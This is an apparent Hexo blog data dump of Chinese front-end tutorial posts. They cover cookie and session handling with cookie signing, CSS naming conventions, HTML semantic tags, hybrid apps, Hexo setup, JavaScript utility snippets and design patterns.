\n针对 cookie 的缺点,session 解决了这些问题,session 保存在服务端,它的运作是通过 session_id 进行,这个值一般存在客户端的 cookie 中。
\napp.use(sessionParser({\n name: 'author',\n // 储存位置: 默认 cookie\n // store: new redisStore(),\n // 编码字符串\n secret: 'recommand 128 bytes random string',\n cookie: {\n maxAge: 60 * 1000\n },\n //每次请求都重设一个cookie\n rolling: false,\n resave: true,\n // 是指无论有没有session cookie,每次请求都设置个session cookie ,默认给个标示为 connect.sid\n saveUninitialized: false\n}))\n
\n就是签名,专业点就是 “信息摘要算法“,例如我有一些数据想存在 cookie 中,如何保证不被篡改?
\n比如我们用 dotcom_user 字段设置了个值 jzxer, cookie值应该是:
\n> { dotcom_user: 'jzxer' }\n
\n这样如果验证和更改,安全性都不是很高。
\n我们可以这样处理,设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)
\n\n\nsha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’
\n
然后把 cookie 变成这样:
\n{\n dotcom_user: 'jzxer',\n dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n
\n这样一来信息就无法伪造了,一旦更改了 cookie 中的值,就会和服务器的冲突,破解的成本也太高。
\n"},{"title":"css的命名规范","date":"2017-07-17T02:51:20.000Z","_content":"\n## 关于 css 的一些命名规范\n* css设计模式:SMACSS\n* BEM 命名规范\n* javascript Hook\n\n### SMACSS\n首先,它定义了五种样式:\n* base(基本)\n* layout(布局)\n* module(模块)\n* state(状态)\n* theme(皮肤)\n\n#### base(基本)\n* 在该样式中不适用class,id等选择,只对标签元素本身做设定,可以有属性选择器和伪类:\n```\nhtml{}\ninput[type=text] {}\na:hover {}\n```\n\n#### layout(布局)\n* 整个网站的【大架构】的外观,类似header,footer\n```\n#header {}\n.sidebar {}\n```\n> 通常只有一个选择器,一个id,或一个class\n\n#### module(组件)\n* 可复用组件,不需要任何prefix,\n\n#### partial\n比 layout 范围小,可以是特定单一领域下特别的设定,通常会将名称加在子 class 作为 prefix \n```\n.nav--main_item {}\n```\n\n#### state\n* 定义状态,例如:.active, .on \n```\n首先,它定义了五种样式:
\nhtml{}\ninput[type=text] {}\na:hover {}\n
#header {}\n.sidebar {}\n
\n\n通常只有一个选择器,一个id,或一个class
\n
比 layout 范围小,可以是特定单一领域下特别的设定,通常会将名称加在子 class 作为 prefix
\n.nav--main_item {}\n
<ul>\n <li> </li>\n <li class="active"> </li>\n<ul>\n
\n\n.is-active 比.active 来的好读
\n
.sidebar {\n .sidebar--left__section {\n .sidebar--left__section--header {}\n }\n}\n
\n\nhtml 里 class 之间用两个空格比一个空格好阅读
\n
首先,它定义了五种样式:
\nhtml{}\ninput[type=text] {}\na:hover {}\n
#header {}\n.sidebar {}\n
\n\n通常只有一个选择器,一个id,或一个class
\n
比 layout 范围小,可以是特定单一领域下特别的设定,通常会将名称加在子 class 作为 prefix
\n.nav--main_item {}\n
<ul>\n <li> </li>\n <li class="active"> </li>\n<ul>\n
\n\n.is-active 比.active 来的好读
\n
.sidebar {\n .sidebar--left__section {\n .sidebar--left__section--header {}\n }\n}\n
\n\nhtml 里 class 之间用两个空格比一个空格好阅读
\n
div在html早期版本就支持了,section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化,三者并无区别。
\n作为语义化标签,section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说,当元素内容明确地出现在文档大纲中时,section 就是适用的。
\n对于article标签来说,无论从结构上还是内容上来说,article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境,是否还是完整的、独立的,如果是,则应该用article标签。
\n\n\n合理的语义化标签,可以更好的方便seo,也不知道为什么,我现在更喜欢细节的东西
\n
div < section < article ,语义是从无到有,逐渐增强的。div 无任何语义,仅仅用作样式化或者脚本化,对于一段主题性的内容,则就适用 section,而假如这段内容可以脱离上下文,作为完整的独立存在的一段内容,则就适用 article。原则上来说,能使用 article 的时候,也是可以使用 section 的,但是实际上,假如使用 article 更合适,那么就不要使用 section 。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"div在html早期版本就支持了,section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化,三者并无区别。
\n作为语义化标签,section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说,当元素内容明确地出现在文档大纲中时,section 就是适用的。
\n对于article标签来说,无论从结构上还是内容上来说,article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境,是否还是完整的、独立的,如果是,则应该用article标签。
\n\n\n合理的语义化标签,可以更好的方便seo,也不知道为什么,我现在更喜欢细节的东西
\n
div < section < article ,语义是从无到有,逐渐增强的。div 无任何语义,仅仅用作样式化或者脚本化,对于一段主题性的内容,则就适用 section,而假如这段内容可以脱离上下文,作为完整的独立存在的一段内容,则就适用 article。原则上来说,能使用 article 的时候,也是可以使用 section 的,但是实际上,假如使用 article 更合适,那么就不要使用 section 。
\n"},{"title":"hybird","date":"2017-10-11T08:56:01.000Z","_content":"\n### app分为几类?\n* native:语言object-c,java,页面存放在本地\n* hybird:语言object-c + html,受限于UIview\n* web:语言html,页面放在服务器,受限于UIview\n\n### native APP\n#### 优点\n* 运行效率高\n* 可调用各种设备资源\n\n#### 缺点\n* 人力资源成本高\n* 发布速度慢\n* 更新版本的问题\n* 实现图文混排很多坑\n\n### web APP\n#### 优点\n* 开发成本低\n* 使用范围广\n* 方便快捷部署,不需要安装\n* 用户总能访问最新的,迭代更容易\n* 可被搜索引擎搜索带来流量\n\n#### 缺点\n* 体验短期无法超越 native\n* 不支持离线模式\n* 消息推送不及时\n* 调用本地文件系统能力较弱\n* 较差和较慢的性能体验\n* 支持图形和动画效果较差\n* 不适用于应用商店盈利\n* 限制用户功能(gps,相机等)\n\n### hybird APP\n#### 优点\n* 综合开发效率\n* 发版本更方便\n\n#### 缺点\n* 运行效率中等\n* 需要一点原生代码\n\n","source":"_posts/hybird.md","raw":"---\ntitle: hybird\ndate: 2017-10-11 16:56:01\ntags: [hybird]\ncategories: APP\n---\n\n### app分为几类?\n* native:语言object-c,java,页面存放在本地\n* hybird:语言object-c + html,受限于UIview\n* web:语言html,页面放在服务器,受限于UIview\n\n### native APP\n#### 优点\n* 运行效率高\n* 可调用各种设备资源\n\n#### 缺点\n* 人力资源成本高\n* 发布速度慢\n* 更新版本的问题\n* 实现图文混排很多坑\n\n### web APP\n#### 优点\n* 开发成本低\n* 使用范围广\n* 方便快捷部署,不需要安装\n* 用户总能访问最新的,迭代更容易\n* 可被搜索引擎搜索带来流量\n\n#### 缺点\n* 体验短期无法超越 native\n* 不支持离线模式\n* 消息推送不及时\n* 调用本地文件系统能力较弱\n* 较差和较慢的性能体验\n* 支持图形和动画效果较差\n* 不适用于应用商店盈利\n* 限制用户功能(gps,相机等)\n\n### hybird APP\n#### 优点\n* 综合开发效率\n* 发版本更方便\n\n#### 缺点\n* 运行效率中等\n* 需要一点原生代码\n\n","slug":"hybird","published":1,"updated":"2018-01-22T06:03:39.371Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4v000svzqhfc2d8xql","content":"> cnpm i hexo-cli -g\n报错的话就输入\n> cnpm i hexo --save\n查看安装是否成功\n> hexo -v\n
> hexo init\n然后\n> cnpm install\n到这里你差不多就可以看到效果了,如果你要连接 GitHub,就要往下继续 \n
在根目录打开 vim _config.yml,翻到最下面,改成我这样子的
\n\n\ndeploy:
\n
type: git
repo: https://git.coding.net/jzxer/jzxer.git
branch: master
\n\ndeploy:
\n
type: coding
repo: https://github.com/j710328466/j710328466.github.io.git
branch: master
> npm install hexo-deployer-git --save\n
创建一篇新文章\n$ hexo new "My New Post"\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n
\n\ntheme: material
\n
将主题改成你喜欢的
每个不同的主题会需要不同的配置,主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。
\nYilia 是为 hexo 2.4+ 制作的主题。
崇尚简约优雅,以及极致的性能。
目前Github上Star最高的Hexo主题,支持几种不同的风格。
作者提供了非常完善的配置说明。
原之质,物之渊
就是我现在用的这款,简洁大方,响应式设计。
> cnpm i hexo-cli -g\n报错的话就输入\n> cnpm i hexo --save\n查看安装是否成功\n> hexo -v\n
> hexo init\n然后\n> cnpm install\n到这里你差不多就可以看到效果了,如果你要连接 GitHub,就要往下继续 \n
在根目录打开 vim _config.yml,翻到最下面,改成我这样子的
\n\n\ndeploy:
\n
type: git
repo: https://git.coding.net/jzxer/jzxer.git
branch: master
\n\ndeploy:
\n
type: coding
repo: https://github.com/j710328466/j710328466.github.io.git
branch: master
> npm install hexo-deployer-git --save\n
创建一篇新文章\n$ hexo new "My New Post"\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n
\n\ntheme: material
\n
将主题改成你喜欢的
每个不同的主题会需要不同的配置,主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。
\nYilia 是为 hexo 2.4+ 制作的主题。
崇尚简约优雅,以及极致的性能。
目前Github上Star最高的Hexo主题,支持几种不同的风格。
作者提供了非常完善的配置说明。
原之质,物之渊
就是我现在用的这款,简洁大方,响应式设计。
可以在字符串中抽取从 start下标开始的指定数目的字符
\n\n\nlength可以不要,代表整个截取的长度
\n
可以在数组 start 开始截取指定长度的数组,如果为负数就从最后一个开始,subStr也是
\n\n\nend 不包括end本身
\n
把字符串分割成字符串数组
\n\n\nseparator 可以是字符串,也可以是正则,howmany 表示截取的长度不超过该数量
\n
从数组中添加/删除项目,然后返回被删除的项目
\n\n\nindex 表示删除的位置,howmany 表示删除几项,如果为0表示不删除,item代表插入的项目
\n
把字符串中老的字符替换成新的字符
\n在原来的字符串基础上连接多个字符串,也可以连接数组
\n找到一个或多个和正则表达式的匹配
\n找到第一次出现正则表达式或者字符串的地方,返回该位置的下标,如果没有就返回-1
\n字符串大小写切换
\n去除字符串两边的空白
\n判断数组中的所有项是否都符合条件
\n用字符串固定替换数组的元素
\n创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合
\n将数组转换成字符串,并用separator 分开,可以省略
\n反转字符串或数组
\nvar BrowserInfo = {\n userAgent: navigator.userAgent.toLowerCase()\n isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n
function getExp(name, url) {\n var reg = new RegExp("(^|\\\\?|&)" + name + "=([^&]*)(\\\\s|&|$)", "i")\n if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, " ")) return ""\n}\n
function launchFullScreen(element) {\n if (element.requestFullScreen) {\n element.requestFullScreen();\n } else if (element.mozRequestFullScreen) {\n element.mozRequestFullScreen();\n } else if (element.webkitRequestFullScreen) {\n element.webkitRequestFullScreen();\n }\n}\n
function selectAll(objSelect) {\n if(objSelect.checked == true) {\n $("input[name='chkId']").attr("checked", true)\n $("input[name='chkAll']").attr("checked", true)\n } else if (objSelect.checked == true) {\n $("input[name='chkId']").attr("checked", false)\n $("input[name='chkAll']").attr("checked", false)\n }\n}\n
<!--判断是否是 IE 浏览器-->\n if (document.all){\n alert(”IE浏览器”);\n }else{\n alert(”非IE浏览器”);\n }\n if (!!window.ActiveXObject){\n alert(”IE浏览器”);\n }else{\n alert(”非IE浏览器”);\n }\n<!--判断是IE几-->\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&&!window.XMLHttpRequest;\nvar isIE8=isIE&&!!document.documentMode;\nvar isIE7=isIE&&!isIE6&&!isIE8;\nif (isIE){\n if (isIE6){\n alert(”ie6″);\n }else if (isIE8){\n alert(”ie8″);\n }else if (isIE7){\n alert(”ie7″);\n }\n}\n
function setCookie(name, value, expires, path, domain) {\n if (!expires) expires = -1\n if (!path) path = "/"\n var d = "" + name + "=" + value\n var e\n if (expires < 0) {\n e = ""\n }\n else if (expires == 0) {\n var f = new Date(1970, 1, 1)\n e = ";expires=" + f.toUTCString()\n }\n else {\n var now = new Date()\n var f = new Date(now.getTime() + expires * 1000)\n e = ";expires=" + f.toUTCString()\n }\n var dm;\n if (!domain) {\n dm = ""\n }\n else {\n dm = ";domain=" + domain\n }\n document.cookie = name + "=" + value + ";path=" + path + e + dm\n};\n
function readCookie(name) {\n var nameEQ = name + "="\n var ca = document.cookie.split(';')\n for (var i = 0; i < ca.length; i++) {\n var c = ca[i]\n while (c.charAt(0) == ' ') c = c.substring(1, c.length)\n if (c.indexOf(nameEQ) == 0) {\n return decodeURIComponent(c.substring(nameEQ.length, c.length))\n }\n } return null\n}\n
","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"可以在字符串中抽取从 start下标开始的指定数目的字符
\n\n\nlength可以不要,代表整个截取的长度
\n
可以在数组 start 开始截取指定长度的数组,如果为负数就从最后一个开始,subStr也是
\n\n\nend 不包括end本身
\n
把字符串分割成字符串数组
\n\n\nseparator 可以是字符串,也可以是正则,howmany 表示截取的长度不超过该数量
\n
从数组中添加/删除项目,然后返回被删除的项目
\n\n\nindex 表示删除的位置,howmany 表示删除几项,如果为0表示不删除,item代表插入的项目
\n
把字符串中老的字符替换成新的字符
\n在原来的字符串基础上连接多个字符串,也可以连接数组
\n找到一个或多个和正则表达式的匹配
\n找到第一次出现正则表达式或者字符串的地方,返回该位置的下标,如果没有就返回-1
\n字符串大小写切换
\n去除字符串两边的空白
\n判断数组中的所有项是否都符合条件
\n用字符串固定替换数组的元素
\n创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合
\n将数组转换成字符串,并用separator 分开,可以省略
\n反转字符串或数组
\nvar BrowserInfo = {\n userAgent: navigator.userAgent.toLowerCase()\n isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n
function getExp(name, url) {\n var reg = new RegExp("(^|\\\\?|&)" + name + "=([^&]*)(\\\\s|&|$)", "i")\n if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, " ")) return ""\n}\n
function launchFullScreen(element) {\n if (element.requestFullScreen) {\n element.requestFullScreen();\n } else if (element.mozRequestFullScreen) {\n element.mozRequestFullScreen();\n } else if (element.webkitRequestFullScreen) {\n element.webkitRequestFullScreen();\n }\n}\n
function selectAll(objSelect) {\n if(objSelect.checked == true) {\n $("input[name='chkId']").attr("checked", true)\n $("input[name='chkAll']").attr("checked", true)\n } else if (objSelect.checked == true) {\n $("input[name='chkId']").attr("checked", false)\n $("input[name='chkAll']").attr("checked", false)\n }\n}\n
<!--判断是否是 IE 浏览器-->\n if (document.all){\n alert(”IE浏览器”);\n }else{\n alert(”非IE浏览器”);\n }\n if (!!window.ActiveXObject){\n alert(”IE浏览器”);\n }else{\n alert(”非IE浏览器”);\n }\n<!--判断是IE几-->\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&&!window.XMLHttpRequest;\nvar isIE8=isIE&&!!document.documentMode;\nvar isIE7=isIE&&!isIE6&&!isIE8;\nif (isIE){\n if (isIE6){\n alert(”ie6″);\n }else if (isIE8){\n alert(”ie8″);\n }else if (isIE7){\n alert(”ie7″);\n }\n}\n
function setCookie(name, value, expires, path, domain) {\n if (!expires) expires = -1\n if (!path) path = "/"\n var d = "" + name + "=" + value\n var e\n if (expires < 0) {\n e = ""\n }\n else if (expires == 0) {\n var f = new Date(1970, 1, 1)\n e = ";expires=" + f.toUTCString()\n }\n else {\n var now = new Date()\n var f = new Date(now.getTime() + expires * 1000)\n e = ";expires=" + f.toUTCString()\n }\n var dm;\n if (!domain) {\n dm = ""\n }\n else {\n dm = ";domain=" + domain\n }\n document.cookie = name + "=" + value + ";path=" + path + e + dm\n};\n
function readCookie(name) {\n var nameEQ = name + "="\n var ca = document.cookie.split(';')\n for (var i = 0; i < ca.length; i++) {\n var c = ca[i]\n while (c.charAt(0) == ' ') c = c.substring(1, c.length)\n if (c.indexOf(nameEQ) == 0) {\n return decodeURIComponent(c.substring(nameEQ.length, c.length))\n }\n } return null\n}\n
"},{"title":"js常见的九种设计模式","date":"2018-03-09T02:31:48.000Z","_content":"## 介绍\n\n设计模式(DP)是一套被反复使用,多数人知晓的、经过分类编目的、代码设计经验的总结。\n\n## 分类\n\n* 单体模式\n* 单例模式\n* 工厂模式\n* 观察者模式(发布订阅者模式)\n* 策略模式\n* 模块模式\n* 模板模式\n* 代理模式\n* 外观模式\n\n> 设计模式目前有23种,目前只列举出了在实战中比较常用的几种。\n\n## 九种\n\n### 单体模式\n\n#### 概念\n\n单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象,如果它可以被实例化,那么它只能被实例化一次。\n\n#### 特点\n\n1. 可以用来划分命名空间,从而清除全局变量所带来的危险。\n2. 利用分支技术来封装浏览器之间的差异。\n3. 可以把代码组织的更为一体。\n\n#### 代码实现\n\n```js\nvar Singleton = {\n attribute: true,\n method1: function () {},\n method2: function () {}\n}\n```\n\n#### 应用场景\n\n单体模式我们平时应用的比较多,相当于我们把代码封装在一起,只暴露一个入口,防止对全局的污染。\n\n### 单例模式\n\n#### 概念\n\n单例模式定义了一个对象的创建过程,此对象只有一个单独的实例,并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。\n\n#### 代码实现\n\n```js\nvar single = (function () {\n var unique\n\n function getInstance () {\n // 如果该实例存在,则直接返回,否则就对其实例化\n if (unique === undefined) {\n unique = new Construct()\n }\n return unique\n }\n function Construct () {\n //生成单例的构造函数的代码\n }\n\n return {\n getInstance\n }\n\n})()\n\n```\n\n上面的代码中,unique 便是返回对象的引用,而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。\n可以通过 single.getInstance() 来获取到单例,并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。\n\n#### 应用场景\n\n单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如全局缓存、浏览器的 window 对象。\n\n1. 可以用它来划分命名空间。\n2. 借助单例模式,可以把代码组织的更为一致,方便阅读和维护。\n\n### 工厂模式\n\n#### 概念\n\n提供创建对象的接口,根据参数产生相应的对象,就是把成员对象的创建工作交给一个外部对象,好处在于消除对象之间的耦合。\n\n#### 分类\n\n* 简单工厂模式:使用一个类,通常为单体,来生成实例。\n* 复杂工厂模式:将其成员对象的实例化推到子类中,子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理,这些处理会被子类继承,子类之间是相互独立的,具体的业务逻辑会放在子类中进行编写。\n\n#### 代码实现\n\n简单工厂模式\n\n```js\nvar XHRFactory = function () {}\n\nXHRFactory.createXMLHttp = function () {\n var XMLHttp = null\n\n if (window.XMLHttpRequest) {\n XMLHttp = new XMLHttpRequest()\n } else if (window.ActiveObject) {\n XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')\n }\n\n return XMLHttp\n}\n\nvar Ajax = function () {\n var XMLHttp = XHRFactory.createXMLHttp()\n}\n```\n\n复杂工厂模式:先设计一个抽象类,这个类不能被实例化,只能用来派生子类,最后通过对子类的拓展实现工厂方法。\n\n```js\nvar XHRF = function () {}\n\nXHRF.prototype = {\n createFactory: function () {\n throw new Error('this is an abstract class')\n }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类,实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 